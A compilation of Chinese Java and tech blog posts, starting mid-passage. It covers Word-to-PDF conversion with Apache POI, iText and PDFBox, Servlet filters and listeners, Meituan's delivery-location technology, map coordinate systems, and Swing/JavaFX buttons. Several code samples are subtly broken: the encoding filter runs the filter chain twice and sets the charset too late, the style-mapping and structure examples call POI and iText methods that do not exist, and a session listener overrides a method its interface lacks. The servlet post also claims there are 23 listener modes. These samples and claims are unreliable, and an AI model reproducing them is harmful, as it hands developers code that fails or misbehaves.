Token机制。数据持久化:Nacos默认使用内嵌数据库,生产建议切换MySQL集群。五、总结注册中心和配置中心是微服务的“神经系统”,选择合适的工具能大幅提升系统稳定性和开发效率:轻量级场景:Eureka + Spring Cloud Config云原生架构:Nacos一站式解决方案企业级需求:Consul + Apollo———————————————— 版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 原文链接:https://blog.csdn.net/m0_51041242/article/details/147110568
-
简介:在IT领域,文档格式转换是常见的任务之一,特别是在管理大量文本数据时。本文将详细探讨如何利用Java技术将Word文档(.docx)转换成PDF格式。转换过程包括文件读取、解析、格式转换等多个技术步骤,并涉及对第三方库的使用。文章假设存在一个名为 DoxcToPdf 的工具或库,用于完成这一转换任务,并对整个过程进行详细解析,包括错误处理和性能优化的考虑。 1. Word到PDF转换概述在当今数字化办公环境中,文档格式的转换是一种常见的需求。将Word文档转换为PDF格式是其中一种重要的转换场景,尤其是在需要保留原文档格式、字体、图片及其他元素以便于分享和打印时。这种转换不仅涉及到文件内容的完整性和一致性,还包括对不同文档结构的理解和处理。在深入探讨技术细节之前,我们先简要了解一下转换流程的宏观概念及其背后的技术原理。1.1 Word到PDF转换的需求背景Microsoft Word格式(.doc或.docx)由于其强大的编辑功能,在创建文档和报告方面广受欢迎。然而,当涉及到跨平台共享、网页发布或打印需求时,PDF格式(便携式文档格式)因其固定的布局和格式而成为更佳的选择。PDF能够确保内容在不同设备和操作系统上的一致性,而且不需要额外的字体或布局软件。1.2 Word到PDF转换的技术路线要实现Word到PDF的转换,可以大致分为以下几个步骤:文件读取 :首先,需要从Word文档中读取内容和格式信息。这通常涉及到文件IO流的操作以及对Word文档结构的理解。内容解析 :解析读取到的内容,将文档中的文本、图片、表格等元素区分开,并提取相关的格式信息。格式转换 :将解析出的内容按照PDF的格式规范重新组织和渲染,生成新的PDF文件。内容重排与样式映射 :为了使PDF文件在视觉上与原Word文档保持一致,可能需要进行内容重排和样式的映射。文件整合与写入 :将转换后的内容整合并写入到PDF文件中。错误处理与性能优化 :确保转换过程的稳定性和性能,处理可能出现的异常情况。在接下来的章节中,我们将详细探讨上述每个步骤的技术细节,包括相关的Java技术栈、库的选择和使用以及最佳实践。通过深入分析这些步骤,你将获得将Word文档转换为PDF的专业技能,并能够优化转换过程以满足不同场景的需求。2. 文件读取技术2.1 Java IO流基础2.1.1 IO流的基本概念在Java中,IO流是进行输入(input)和输出(output)操作的基础。IO流提供了一系列的类和接口,用于处理不同类型的数据传输。在读取文件时,我们通常使用输入流,即从数据源(如文件)读取数据;相反,输出流则是将数据写入目标(如另一个文件)。Java的IO流基于字节流和字符流的概念,字节流主要处理二进制数据,而字符流处理的是字符数据,适用于文本文件。2.1.2 文件读取操作Java提供了 FileInputStream 和 FileReader 等类用于文件的读取。以下是一个简单的文件读取操作的示例代码:import java.io.FileInputStream;import java.io.IOException;import java.nio.ByteBuffer;import java.nio.channels.FileChannel; public class FileReadExample { public static void main(String[] args) { try (FileInputStream fis = new FileInputStream("example.txt")) { FileChannel fileChannel = fis.getChannel(); ByteBuffer buffer = ByteBuffer.allocate(1024); int bytesRead = fileChannel.read(buffer); while (bytesRead != -1) { buffer.flip(); while (buffer.hasRemaining()) { System.out.print((char) buffer.get()); } buffer.clear(); bytesRead = fileChannel.read(buffer); } } catch (IOException e) { e.printStackTrace(); } }}在上面的代码中,我们通过 FileInputStream 和 FileChannel 读取了 example.txt 文件,并使用 ByteBuffer 作为数据传输的载体。我们首先读取数据到缓冲区,然后将缓冲区内容打印出来,直到文件末尾。2.2 Java Zip技术解析2.2.1 Zip格式与文件压缩解压原理Zip是一种常用的文件压缩和存档格式,它支持文件的压缩,同时也支持将多个文件存储在单个压缩文件中。Zip格式通过使用压缩算法(如Deflate)来减小文件大小,从而节省存储空间和传输时间。在Java中,我们可以利用Zip相关的类,例如 ZipInputStream 和 ZipOutputStream ,来处理压缩和解压缩任务。2.2.2 使用Zip流读取Word文档在处理Word文档转换为PDF的过程中,可能需要先将压缩包内的.docx文件解压,然后再进行读取。使用 ZipInputStream 可以方便地实现这一过程。下面展示了如何利用 ZipInputStream 来读取Zip文件中的Word文档:import java.io.BufferedInputStream;import java.io.FileInputStream;import java.io.InputStream;import java.util.zip.ZipEntry;import java.util.zip.ZipInputStream; public class ZipReadExample { public static void main(String[] args) { try (ZipInputStream zis = new ZipInputStream(new FileInputStream("document.zip"))) { ZipEntry entry = zis.getNextEntry(); while (entry != null) { String name = entry.getName(); if (name.endsWith(".docx")) { System.out.println("File Found :: " + name); // Process the .docx file InputStream docxStream = new BufferedInputStream(zis); // Read .docx file content here docxStream.close(); } entry = zis.getNextEntry(); } zis.closeEntry(); } catch (Exception e) { e.printStackTrace(); } }}在这个例子中,我们使用 ZipInputStream 来遍历压缩文件中的所有条目,并检查每个条目的名称是否以 .docx 结尾,如果是,则进行后续的处理。这种读取方式为我们处理Word文档提供了便利,尤其是在涉及到复杂文件结构的情况下。在下一章节中,我们会继续深入探讨文件解析技术,其中包含了对XML解析技术的介绍和实战解析示例。3. 文件解析技术文件解析是将文件内容转换成计算机可识别的数据结构的过程,这对于文档处理尤为重要。在进行Word到PDF转换的过程中,我们需要深入理解文件格式,并据此解析、提取并重组内容。接下来,我们将对解析技术进行详细介绍,尤其是XML解析技术,这在处理如.docx这样的基于XML的现代文档格式中是不可或缺的。3.1 XML解析技术简介3.1.1 XML的组成与结构XML(可扩展标记语言)是一种标记语言,设计用来存储和传输数据。与HTML不同,XML不是为了显示数据而设计的,而是专注于数据内容的描述。它是一种元语言,用于定义其他特定领域的标记语言,从而允许用户定义自己的标签和属性。一个基本的XML文档由元素组成,这些元素以标签的形式出现。每个标签可以包含属性,还可以嵌套其他标签。XML文档必须有且仅有一个根元素,这表示文档的开始和结束。此外,XML还严格要求标签正确嵌套,所有标签都必须被关闭。下面是一个简单的XML文档示例:<?xml version="1.0" encoding="UTF-8"?><bookstore> <book category="cooking"> <title lang="en">Everyday Italian</title> <author>Giada De Laurentiis</author> <year>2005</year> <price>30.00</price> </book></bookstore>3.1.2 解析XML的优势解析XML的优势在于其可读性强,以及便于进行数据交换。由于XML文档具有自我描述性质,因此更容易被不同的应用程序理解,这一点对于文档格式转换尤为重要。在转换过程中,XML允许我们精确地定位并处理文档中的各个部分,无论其结构多么复杂。另一个显著的优势是,XML文档的解析可以通过多种方法实现,这为开发人员提供了灵活性。例如,可以使用DOM解析器将整个文档加载到内存中作为树状结构进行操作;也可以使用SAX解析器逐个处理XML中的事件,这种方式对内存的需求较小。3.2 Java XML解析器实战3.2.1 JAXB解析示例JAXB(Java Architecture for XML Binding)是一个强大的库,可以将Java对象序列化为XML格式,或者将XML文档反序列化为Java对象。通过JAXB,我们可以更轻松地处理XML,因为我们可以操作对象而不是直接处理文本。下面的代码示例展示了如何使用JAXB将Java对象序列化为XML文件:import javax.xml.bind.annotation.XmlRootElement;import javax.xml.bind.annotation.XmlElement;import javax.xml.bind.JAXBContext;import javax.xml.bind.JAXBException;import javax.xml.bind.Marshaller; @XmlRootElementclass Book { private String title; private String author; private int year; private double price; // Getters and setters...} public class JAXBExample { public static void main(String[] args) { try { Book book = new Book(); book.setTitle("Everyday Italian"); book.setAuthor("Giada De Laurentiis"); book.setYear(2005); book.setPrice(30.00); JAXBContext context = JAXBContext.newInstance(Book.class); Marshaller marshaller = context.createMarshaller(); marshaller.setProperty(Marshaller.JAXB_FORMATTED_OUTPUT, Boolean.TRUE); marshaller.marshal(book, System.out); } catch (JAXBException e) { e.printStackTrace(); } }}3.2.2 DOM4J解析示例DOM4J是一个开源的Java XML API,用于读写XML文档。它支持DOM、SAX和JAXP,但主要侧重于SAX的性能和灵活性。DOM4J使用XPath表达式和XSLT转换作为核心API的一部分。下面的代码示例展示了如何使用DOM4J来解析一个简单的XML文档,并打印出根元素和其子元素:import org.dom4j.Document;import org.dom4j.DocumentException;import org.dom4j.DocumentHelper;import org.dom4j.Element; public class DOM4JExample { public static void main(String[] args) { try { String xmlContent = "<bookstore><book><title>Everyday Italian</title><author>Giada De Laurentiis</author></book></bookstore>"; Document document = DocumentHelper.parseText(xmlContent); Element rootElement = document.getRootElement(); System.out.println("Root element: " + rootElement.getName()); for (Element element : (List<Element>) rootElement.elements()) { System.out.println("Child element: " + element.getName() + ", text: " + element.getText()); } } catch (DocumentException e) { e.printStackTrace(); } }}通过使用这些示例,我们可以看到XML解析技术的多样性和实用性。这些技术的应用能够确保在进行Word到PDF转换时,能够准确无误地处理文档结构,确保最终输出的PDF文件内容准确且格式整洁。4. 格式转换技术4.1 处理Word文档4.1.1 Apache POI 库基础Apache POI是Apache Software Foundation的一个Java库,它提供了一套用于读写Microsoft Office格式文件的API。使用Apache POI可以轻松地处理Word文档,如.doc和.docx文件格式。 HSSF (Horrible Spreadsheet Format)和 XSSF 是Apache POI的两个子项目,分别用于处理旧版的 .xls 和较新的 .xlsx 格式的Excel文档。在处理Word文档方面, HWPF (Horrible Word Processor Format)用于处理 .doc 格式的文档,而 XWPF (XML Word Processor Format)则用于处理 .docx 格式的文档。要使用Apache POI库,首先需要将其添加到项目的依赖中。对于Maven项目,可以在 pom.xml 文件中添加以下依赖:<dependency> <groupId>org.apache.poi</groupId> <artifactId>poi</artifactId> <version>版本号</version></dependency><dependency> <groupId>org.apache.poi</groupId> <artifactId>poi-ooxml</artifactId> <version>版本号</version></dependency>Apache POI的设计是高度面向对象的,通过对象模型来模拟Word文档的结构。例如,在处理 .docx 格式时, XWPFDocument 类代表了一个Word文档对象,而 XWPFParagraph 代表一个段落, XWPFRun 代表段落内的文本运行(文本格式化)等。4.1.2 读取.docx文档内容读取 .docx 文档内容需要创建 XWPFDocument 对象,并通过该对象的API来访问文档的不同部分。下面的代码示例展示了如何读取 .docx 文档中的所有文本内容:import org.apache.poi.xwpf.usermodel.XWPFDocument;import org.apache.poi.xwpf.usermodel.XWPFParagraph; import java.io.FileInputStream;import java.io.IOException; public class ReadDocxExample { public static void main(String[] args) { try (FileInputStream fis = new FileInputStream("example.docx")) { XWPFDocument document = new XWPFDocument(fis); for (XWPFParagraph para : document.getParagraphs()) { System.out.println(para.getText()); } } catch (IOException e) { e.printStackTrace(); } }}在上述代码中,我们首先使用 FileInputStream 打开一个 .docx 文件,然后创建一个 XWPFDocument 对象来代表这个Word文档。通过调用 document.getParagraphs() 方法,我们可以获取文档中的所有段落,并遍历输出每个段落的内容。4.2 生成PDF文件4.2.1 iText 库使用方法iText 是一个强大的Java库,可以用来创建和操纵PDF文档。它提供了一系列API来生成PDF文件,包括文字、图像、表格、表单等。 iText 还支持将现有的Word文档转换成PDF格式。从2019年开始,iText以商业开源许可证发布,因此在使用之前需要确保许可证的合规性。要使用 iText ,你需要将以下依赖添加到项目的 pom.xml 文件中:<dependency> <groupId>com.itextpdf</groupId> <artifactId>itext7-core</artifactId> <version>版本号</version></dependency>以下是使用 iText 7 将文本写入PDF文件的一个简单示例:import com.itextpdf.kernel.pdf.PdfDocument;import com.itextpdf.kernel.pdf.PdfWriter;import com.itextpdf.layout.Document;import com.itextpdf.layout.element.Paragraph; import java.io.FileNotFoundException; public class CreatePdfExample { public static void main(String[] args) { String dest = "output.pdf"; try (PdfWriter writer = new PdfWriter(dest); PdfDocument pdf = new PdfDocument(writer); Document document = new Document(pdf)) { document.add(new Paragraph("Hello, World!")); } catch (FileNotFoundException e) { e.printStackTrace(); } }}在这段代码中,我们首先创建了 PdfWriter 和 PdfDocument 对象。 PdfWriter 负责写入PDF文件, PdfDocument 代表整个PDF文档。然后,我们创建了一个 Document 对象,该对象代表正在操作的PDF文件。最后,我们向 Document 对象添加了一个包含文本的 Paragraph 元素,然后将PDF写入到指定的文件。4.2.2 PDFBox 库使用方法Apache PDFBox 是Apache软件基金会提供的一个开源项目,它是一个用来创建和操作PDF文档的Java库。这个库的功能包括创建新的PDF文档、渲染PDF内容以及从PDF文档中提取文字和图像等。与 iText 不同, PDFBox 更侧重于对PDF文件的读取和修改,而不是创建复杂的排版。首先,你需要将 PDFBox 添加到你的项目依赖中:<dependency> <groupId>org.apache.pdfbox</groupId> <artifactId>pdfbox</artifactId> <version>版本号</version></dependency>下面的代码示例演示了如何使用 PDFBox 读取PDF文件并输出文件中的所有文本内容:import org.apache.pdfbox.pdmodel.PDDocument;import org.apache.pdfbox.text.PDFTextStripper; import java.io.File;import java.io.IOException; public class ReadPdfExample { public static void main(String[] args) { try (PDDocument document = PDDocument.load(new File("input.pdf"))) { PDFTextStripper stripper = new PDFTextStripper(); String pdfContent = stripper.getText(document); System.out.println(pdfContent); } catch (IOException e) { e.printStackTrace(); } }}在这个例子中,我们使用 PDFTextStripper 类来获取PDF文档中的文本。首先加载一个PDF文件到 PDDocument 对象中,然后创建 PDFTextStripper 实例。调用 stripper.getText(document) 方法后,文档的全部文本内容将被提取并存储在字符串变量 pdfContent 中,然后输出。这两个工具— iText 和 PDFBox —提供了不同的功能,开发者可以根据具体需求选择合适的库来实现Word到PDF的转换。5. 内容重排与样式映射在将Word文档转换为PDF的过程中,内容重排与样式映射是确保转换质量的关键环节。合理的内容重排策略能够提升文档的可读性,而精确的样式映射则是保证最终PDF文件视觉效果一致性的基础。5.1 文档内容的重排策略内容重排主要关注文档的逻辑结构,合理的重排能够使信息传达更为清晰。5.1.1 理解文档结构的重要性在转换过程中,首先需要识别文档中的标题、段落、列表等元素。这是因为不同元素可能需要不同的布局和格式处理。例如,标题可能需要较大的字体和加粗样式,而列表项则可能需要缩进和特定的项目符号。// 示例代码:使用Apache POI解析.docx文档中的结构XWPFDocument document = new XWPFDocument(OPCPackage.open(new File("example.docx").getAbsolutePath()));List<XWPFParagraph> paragraphs = document.getParagraphs();for (XWPFParagraph paragraph : paragraphs) { CTParagraph ctParagraph = paragraph.getCTP(); List<CTR> elements = ctParagraph.getAbstractNumList(); // 遍历段落中的元素以识别结构 for (CTR element : elements) { // ... }}5.1.2 实现内容的逻辑重排逻辑重排通常涉及创建新的段落和列表,保持原有的文档格式但优化其展示。例如,在PDF中,原有的Word文档的标题可以通过分页和增加标题样式来获得更好的视觉效果。// 示例代码:在iText中创建新的段落和列表PdfPTable table = new PdfPTable(1);PdfPCell cell = new PdfPCell();cell.addElement(new Paragraph("Title 1"));cell.addElement(new Paragraph("Item 1"));table.addCell(cell);// 继续添加其他项...5.2 样式映射机制样式映射关注的是将Word文档中的样式转换为PDF文档中的等效样式。5.2.1 Word样式与PDF样式的对应关系Word文档中包含多种内建和自定义的样式,这些样式在PDF中可能没有直接的等效样式。因此,需要定义一个映射表来规定样式转换规则,比如将Word中的“标题1”样式映射为PDF中的“Heading 1”样式。// 示例代码:使用iText进行样式映射Map<String, String> styleMapping = new HashMap<>();styleMapping.put("Heading 1", PdfName.HEADING_1.toString());styleMapping.put("Heading 2", PdfName.HEADING_2.toString());// 其他样式映射...5.2.2 样式转换的实际应用案例在实际应用中,可能需要处理的样式类型不仅限于标题和列表,还可能包括图片、表格和引用等。样式转换的代码会根据不同文档的需要进行相应的调整。// 示例代码:转换段落样式Paragraph paragraph = new Paragraph();for (XWPFParagraph p : paragraphs) { String style = p.getParagraphFormat().getBuiltInStyleId(); if (styleMapping.containsKey(style)) { paragraph.add(new Paragraph(p.getText(), styleMapping.get(style))); } else { paragraph.add(new Paragraph(p.getText())); // 默认样式 }}在这一章节中,我们讨论了内容重排与样式映射的重要性,并通过代码示例展示了如何在实际应用中进行操作。下一章节将继续探讨如何整合所有模块,并实现最终的PDF文件写入。———————————————— 版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 原文链接:https://blog.csdn.net/weixin_42181686/article/details/146289533
-
一、过滤器乱码解决在Web开发里,乱码问题常常让人头疼。不过,利用过滤器能有效解决这个问题。下面是一段解决乱码问题的过滤器代码:@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("执行了过滤器-FilterDemo3"); // 先让请求通过过滤器链,处理后续的过滤器或目标资源 filterChain.doFilter(servletRequest, servletResponse); // 设置响应内容类型为HTML,字符编码为UTF-8 servletResponse.setContentType("text/html;charset=utf-8"); // 将ServletRequest强转为HttpServletRequest,方便后续操作 HttpServletRequest request = (HttpServletRequest) servletRequest; // 再次通过过滤器链,保证请求和响应都得到完整处理 filterChain.doFilter(servletRequest, servletResponse);}这段代码的过滤器,先让请求在过滤器链中传递,然后设置响应编码为UTF - 8,避免响应内容出现乱码。同时,再次调用过滤器链,确保整个请求和响应过程的完整性。二、监听器监听器是Servlet规范里的重要组件,能监听Web应用中的各种事件,并在事件发生时执行相应操作。监听器有23种模式,下面介绍几种常用的监听器。1. HttpSessionListener用于监听HttpSession的创建和销毁事件。代码示例如下:package javax.servlet.http;import java.util.EventListener;// HttpSessionListener继承自EventListenerpublic interface HttpSessionListener extends EventListener { // 当HttpSession创建时调用此方法 void sessionCreated(HttpSessionEvent var1); // 当HttpSession销毁时调用此方法 void sessionDestroyed(HttpSessionEvent var1);}使用时,要在web.xml文件中注册监听器:<listener> <listener-class>listener.MySessionListener</listener-class></listener>然后实现自定义的监听器类MySessionListener:package listener;import javax.servlet.http.HttpSession;import javax.servlet.http.HttpSessionBindingEvent;import javax.servlet.http.HttpSessionEvent;import javax.servlet.http.HttpSessionListener;public class MySessionListener implements HttpSessionListener { // 当HttpSession创建时,打印日志 @Override public void sessionCreated(HttpSessionEvent se) { System.out.println("session Created"); } // 当HttpSession销毁时,打印日志 @Override public void sessionDestroyed(HttpSessionEvent se) { System.out.println("session Destroyed"); } // 这里额外重写一个处理属性添加的方法,虽然接口未定义,但可按需添加处理逻辑 @Override public void attributeAdded(HttpSessionBindingEvent se) { System.out.println("attribute added"); }}2. ServletContextListener用于监听ServletContext的创建和销毁事件ServletContext代表整个Web应用的上下文,通过它可以获取Web应用的初始化参数、共享资源等。示例代码如下:package javax.servlet;import java.util.EventListener;public interface ServletContextListener extends EventListener { // 当ServletContext创建时调用此方法 void contextInitialized(ServletContextEvent sce); // 当ServletContext销毁时调用此方法 void contextDestroyed(ServletContextEvent sce);}在web.xml中注册:<listener> <listener-class>listener.MyServletContextListener</listener-class></listener>实现自定义的监听器类:package listener;import javax.servlet.ServletContextEvent;import javax.servlet.ServletContextListener;public class MyServletContextListener implements ServletContextListener { @Override public void contextInitialized(ServletContextEvent sce) { // 在Web应用启动时执行的操作,比如初始化数据库连接池 System.out.println("ServletContext初始化了"); } @Override public void contextDestroyed(ServletContextEvent sce) { // 在Web应用关闭时执行的操作,比如关闭数据库连接池 System.out.println("ServletContext销毁了"); }}3. ServletRequestListener用于监听ServletRequest的创建和销毁事件。ServletRequest代表客户端的一次请求,通过监听它的生命周期,可以在请求处理前后进行一些通用操作。示例代码如下:package javax.servlet;import java.util.EventListener;public interface ServletRequestListener extends EventListener { // 当ServletRequest创建时调用此方法 void requestInitialized(ServletRequestEvent sre); // 当ServletRequest销毁时调用此方法 void requestDestroyed(ServletRequestEvent sre);}在web.xml中注册:<listener> <listener-class>listener.MyServletRequestListener</listener-class></listener>实现自定义的监听器类:package listener;import javax.servlet.ServletRequestEvent;import javax.servlet.ServletRequestListener;public class MyServletRequestListener implements ServletRequestListener { @Override public void requestInitialized(ServletRequestEvent sre) { // 在请求开始处理时执行的操作,比如记录请求开始时间 System.out.println("请求开始处理"); } @Override public void requestDestroyed(ServletRequestEvent sre) { // 在请求处理结束时执行的操作,比如记录请求处理时间 System.out.println("请求处理结束"); }}三、监听器的使用场景统计在线用户数量:利用HttpSessionListener,在sessionCreated方法中让在线用户数加1,在sessionDestroyed方法中减1,从而实时统计在线用户数量。记录用户登录和退出时间:在HttpSession创建时记录登录时间,销毁时记录退出时间,便于分析用户行为。资源初始化和销毁:借助ServletContextListener,在Web应用启动时初始化全局资源,如数据库连接池;在应用关闭时释放资源,确保资源管理得当。请求日志记录:通过ServletRequestListener,在请求开始和结束时记录日志,方便排查问题和监控系统运行状态。Java-servlet 结语至此,Java Servlet 的入门讲解暂告一段落。通过这部分内容,我们已经搭建起 Web 开发的基础框架,理解了服务端与客户端交互的核心逻辑。接下来,我们将深入探讨 JSP(Java 服务器页面) 与 MySQL 数据库 的核心知识。JSP 作为 Servlet 的延伸,能更便捷地实现动态页面渲染。而 MySQL 则是企业级应用中最常用的关系型数据库之一。三者结合(Servlet 处理请求逻辑、JSP 构建动态视图、MySQL 存储数据),将形成一套完整的 Web 后端开发体系——这正是支撑现代 Web 项目的“三板斧”。掌握这三项核心技术,不仅能为前端开发提供坚实的后端支持,更能让你在构建完整 Web 应用时游刃有余。无论是小型项目的快速落地,还是大型系统的架构设计,它们都是不可或缺的基石。后续课程中,我们将通过实战案例串联知识,帮助大家更好地理解和应用。期待与你继续探索,一起夯实 Web 开发的核心能力!———————————————— 版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 原文链接:https://blog.csdn.net/2402_83322742/article/details/146974428
-
一、技术投入与定位算法优势定位技术基础美团:作为外卖行业龙头,长期投入大量资源优化定位技术,采用多源数据融合定位(GPS+基站+WiFi+蓝牙信标+传感器数据),尤其在复杂场景(如室内、高楼林立区域)通过AI算法补偿信号误差。例如,美团的“超级大脑”系统可实时分析用户行为模式(如历史订单位置、常用地址),辅助定位纠偏。部分竞品:可能依赖基础地图API(如高德、百度)的定位服务,缺乏外卖场景的深度优化,导致在信号弱或环境复杂时误差较大。动态校准机制美团通过用户实时反馈(如“定位不准确”按钮)和骑手轨迹数据,持续迭代定位模型,形成闭环优化。例如,若某区域多次被用户标记为定位错误,系统会自动触发定位算法调整。二、业务规模与数据积累订单密度与数据样本美团覆盖全国超2800个县市区,日均订单量超5000万单,海量订单数据为定位算法提供了丰富的训练样本。例如,在CBD、城中村等复杂场景中,美团可基于高频订单轨迹优化定位策略,而订单量较少的平台可能因数据不足导致算法泛化能力弱。骑手轨迹网络美团骑手数量超500万,其移动轨迹数据(如GPS轨迹、停留点)可反向验证用户定位准确性。例如,若用户定位与骑手接单后的导航路径存在系统性偏差,系统会触发定位算法优化。三、场景化适配能力复杂场景优化室内定位:美团与商场、写字楼合作部署蓝牙信标,提升室内定位精度至3米内;部分竞品可能仅依赖WiFi指纹定位,精度波动较大。动态路况:美团算法可结合实时路况(如拥堵、单行道)调整定位策略,避免因导航路线偏差导致用户实际位置与系统定位不符。用户行为预判美团通过分析用户历史行为(如常点外卖地址、时段偏好),可提前预判用户位置。例如,若用户在工作日12点在某写字楼附近活动,系统会优先推荐该写字楼地址,减少用户手动调整定位的频率。四、用户体验与反馈闭环用户反馈机制美团在App内设置“定位不准确”一键反馈入口,用户反馈数据直接流入算法团队,实现快速迭代。例如,某区域一周内收到100次定位错误反馈,算法团队会在48小时内完成优化。骑手端协同骑手接单后若发现用户定位与实际地址不符,可通过App上报偏差数据,系统将同步更新定位模型。这种骑手-用户-平台的协同机制,使美团定位精度保持动态领先。五、战略投入与资源倾斜技术研发投入美团2022年研发投入超200亿元,其中定位技术是重点方向之一。相比之下,部分平台可能因资源有限,仅将定位技术作为基础功能,缺乏深度优化。本地生活生态协同美团通过到店、酒店、旅游等业务积累的POI数据(如商家地址、楼层信息),可反向优化外卖定位。例如,若某商场内某餐厅的定位数据在到店业务中已验证准确,可直接同步至外卖业务。总结美团外卖定位更准确的核心逻辑在于技术深度、数据规模、场景适配和反馈闭环的协同作用。其通过海量订单、骑手轨迹、用户反馈等多维数据构建的定位算法,在复杂场景下的容错率和动态校准能力显著优于部分竞品。此外,美团对本地生活生态的长期投入,也为其外卖定位技术提供了其他平台难以复制的“数据护城河”。
-
一、坐标系介绍WGS84:全球定位系统(GPS)所使用的标准坐标系,也是目前最常用的地理坐标系之一。GCJ02:由中国国家测绘局制订的地理信息系统坐标系,也被称为火星坐标系。它是在WGS84坐标系的基础上进行加密处理得到的,主要应用于国内的地图服务商如高德地图等提供的在线地图服务中。BD09:百度地图特有的坐标系,它在GCJ02坐标系的基础上进行了再次加密,以确保用户数据的安全性和准确性。二、相互转换WGS84到GCJ02的转换:由于WGS84是国际公认的标准坐标系,而GCJ02是对WGS84进行加密处理得到的坐标系,因此可以通过特定的加密算法将WGS84坐标系下的经纬度转换为GCJ02坐标系下的经纬度。GCJ02到WGS84的转换:与WGS84到GCJ02的转换相反,可以通过相应的解密算法将GCJ02坐标系下的经纬度转换回WGS84坐标系下的经纬度。GCJ02到BD09的转换:BD09是在GCJ02的基础上进行再次加密得到的坐标系,因此可以通过特定的加密算法将GCJ02坐标系下的经纬度转换为BD09坐标系下的经纬度。BD09到GCJ02的转换:与GCJ02到BD09的转换相反,可以通过相应的解密算法将BD09坐标系下的经纬度转换回GCJ02坐标系下的经纬度。三、转换工具与方法使用专业软件或插件:可以使用如QGIS等专业地理信息系统软件或插件进行坐标系的转换。这些软件和插件通常提供了丰富的坐标系转换功能,并支持多种常见的坐标系之间的转换。编写转换算法:对于有编程能力的人员,可以编写相应的转换算法进行坐标系的转换。这些算法通常基于特定的数学公式和加密算法,可以实现高精度的坐标系转换。使用在线转换工具:还可以利用一些在线的坐标系转换工具进行转换。这些工具通常提供了简单易用的界面,用户只需输入要转换的坐标值并选择相应的坐标系即可得到转换结果。综上所述,WGS84、GCJ02和BD09坐标系之间是可以相互转换的,但需要注意转换过程中的精度和误差问题。在实际应用中,应根据具体需求选择合适的转换方法和工具进行坐标系的转换。
-
在 Java 中,按钮(Button)是 GUI 编程中最常用的组件之一,主要用于触发用户操作。根据使用的 GUI 框架不同,Button 的实现方式也有所不同。下面我将介绍 Swing 和 JavaFX 两种主要框架中的 Button 使用方法。1. Swing 中的 JButton基本介绍JButton 是 Swing 包中的按钮组件,位于 javax.swing 包中。常用构造方法JButton() // 创建一个无文本、无图标的按钮JButton(String text) // 创建带有指定文本的按钮JButton(Icon icon) // 创建带有指定图标的按钮JButton(String text, Icon icon) // 创建带有指定文本和图标的按钮常用方法设置属性void setText(String text) // 设置按钮文本String getText() // 获取按钮文本void setIcon(Icon icon) // 设置按钮图标Icon getIcon() // 获取按钮图标void setEnabled(boolean enabled) // 启用/禁用按钮boolean isEnabled() // 检查按钮是否启用void setToolTipText(String text) // 设置鼠标悬停提示文本外观控制void setBackground(Color bg) // 设置背景色void setForeground(Color fg) // 设置前景色(文本颜色)void setFont(Font font) // 设置字体事件处理void addActionListener(ActionListener l) // 添加动作监听器void removeActionListener(ActionListener l) // 移除动作监听器基本使用示例import javax.swing.*;import java.awt.*;import java.awt.event.*;public class SwingButtonExample { public static void main(String[] args) { // 创建主窗口 JFrame frame = new JFrame("JButton 示例"); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); frame.setSize(300, 200); frame.setLayout(new FlowLayout()); // 创建按钮 JButton button = new JButton("点击我"); // 添加事件监听器 button.addActionListener(new ActionListener() { @Override public void actionPerformed(ActionEvent e) { JOptionPane.showMessageDialog(frame, "按钮被点击了!"); } }); // 将按钮添加到窗口 frame.add(button); // 显示窗口 frame.setVisible(true); }}2. JavaFX 中的 Button基本介绍Button 是 JavaFX 中的按钮组件,位于 javafx.scene.control 包中。常用构造方法Button() // 创建一个无文本的按钮Button(String text) // 创建带有指定文本的按钮Button(String text, Node graphic) // 创建带有文本和图标的按钮常用方法设置属性void setText(String text) // 设置按钮文本String getText() // 获取按钮文本void setGraphic(Node graphic) // 设置按钮图标Node getGraphic() // 获取按钮图标void setDisable(boolean disable) // 禁用/启用按钮boolean isDisabled() // 检查按钮是否禁用void setTooltip(Tooltip tooltip) // 设置鼠标悬停提示外观控制void setStyle(String style) // 设置CSS样式void setId(String id) // 设置ID用于CSS选择器void setPrefSize(double width, double height) // 设置首选大小事件处理void setOnAction(EventHandler<ActionEvent> value) // 设置动作事件处理器基本使用示例import javafx.application.Application;import javafx.scene.Scene;import javafx.scene.control.Button;import javafx.scene.control.Alert;import javafx.scene.control.Alert.AlertType;import javafx.scene.layout.StackPane;import javafx.stage.Stage;public class JavaFXButtonExample extends Application { @Override public void start(Stage primaryStage) { // 创建按钮 Button btn = new Button(); btn.setText("点击我"); // 设置按钮事件 btn.setOnAction(event -> { Alert alert = new Alert(AlertType.INFORMATION); alert.setTitle("信息"); alert.setHeaderText(null); alert.setContentText("按钮被点击了!"); alert.showAndWait(); }); // 创建布局并添加按钮 StackPane root = new StackPane(); root.getChildren().add(btn); // 创建场景 Scene scene = new Scene(root, 300, 250); // 设置舞台 primaryStage.setTitle("JavaFX Button 示例"); primaryStage.setScene(scene); primaryStage.show(); } public static void main(String[] args) { launch(args); }}3. 高级功能Swing JButton 高级功能设置按钮图标状态:button.setPressedIcon(pressedIcon); // 按下时显示的图标button.setRolloverIcon(rolloverIcon); // 鼠标悬停时显示的图标button.setDisabledIcon(disabledIcon); // 禁用时显示的图标设置按钮边框:button.setBorder(BorderFactory.createLineBorder(Color.RED));设置快捷键:button.setMnemonic(KeyEvent.VK_C); // 设置Alt+C为快捷键JavaFX Button 高级功能使用CSS样式:btn.setStyle("-fx-background-color: #4CAF50; -fx-text-fill: white;");添加图标:ImageView imageView = new ImageView(new Image("file:icon.png"));btn.setGraphic(imageView);设置按钮效果:btn.setEffect(new DropShadow());总结:对于新的Java GUI项目,建议使用JavaFX,因为它是Oracle推荐的现代GUI框架对于维护旧项目或需要轻量级解决方案时,可以使用SwingJavaFX提供了更丰富的视觉效果和现代化的API,而Swing则更成熟稳定无论是使用Swing还是JavaFX,Button都是创建交互式用户界面的基础组件,掌握其使用方法对于Java GUI开发至关重要。
-
